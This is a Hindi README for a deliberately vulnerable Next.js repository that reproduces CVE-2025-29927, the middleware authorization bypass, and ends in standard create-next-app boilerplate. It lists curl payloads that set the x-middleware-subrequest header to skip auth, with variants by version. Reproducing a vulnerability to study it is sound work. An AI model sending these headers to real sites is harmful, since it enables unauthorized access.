
उपयोग न करें। असुरक्षित
यह रिपॉजिटरी next पैकेज में CVE-2025-29927 भेद्यता का पुनरुत्पादन है।
/api/hello एंडपॉइंट तक पहुंच अस्वीकार करने का परीक्षण करें।$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest हेडर में middleware को 5 बार नेस्ट करके भी बाईपास किया जा सकता है:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 और 13 संस्करणों में मिडलवेयर फ़ाइल (_middleware.js) के लिए एक अलग नामकरण परंपरा थी, जिसे Next.js 14 में बदलकर middleware.js कर दिया गया। इस भेद्यता का पुराने संस्करणों में _middleware.js फ़ाइल का उपयोग करके शोषण किया जा सकता है।
उदाहरण के लिए, निम्नलिखित पेलोड लागू होंगे, यह Next.js संस्करण और आपकी रूटिंग कन्वेंशन पर निर्भर करता है:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js संस्करण 12.2 के लिए जहां middleware.js फ़ाइल ऐप की रूट में है, pages निर्देशिका के अंदर नहीं।)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js संस्करण 11 से 12.2 तक के लिए।)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloसबसे पहले, डेवलपमेंट सर्वर चलाएं:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
परिणाम देखने के लिए अपने ब्राउज़र में http://localhost:3000 खोलें।
आप app/page.js को संशोधित करके पेज को संपादित करना शुरू कर सकते हैं। फ़ाइल संपादित करने पर पेज स्वचालित रूप से अपडेट होता है।
यह प्रोजेक्ट Vercel के लिए एक नया फ़ॉन्ट परिवार Geist को स्वचालित रूप से अनुकूलित और लोड करने के लिए next/font का उपयोग करता है।
Next.js के बारे में अधिक जानने के लिए, निम्नलिखित संसाधनों पर एक नज़र डालें:
आप Next.js GitHub रिपॉजिटरी देख सकते हैं - आपकी प्रतिक्रिया और योगदान का स्वागत है!
अपने Next.js ऐप को डिप्लॉय करने का सबसे आसान तरीका Next.js के निर्माताओं के Vercel प्लेटफ़ॉर्म का उपयोग करना है।
अधिक जानकारी के लिए हमारा Next.js डिप्लॉयमेंट दस्तावेज़ीकरण देखें।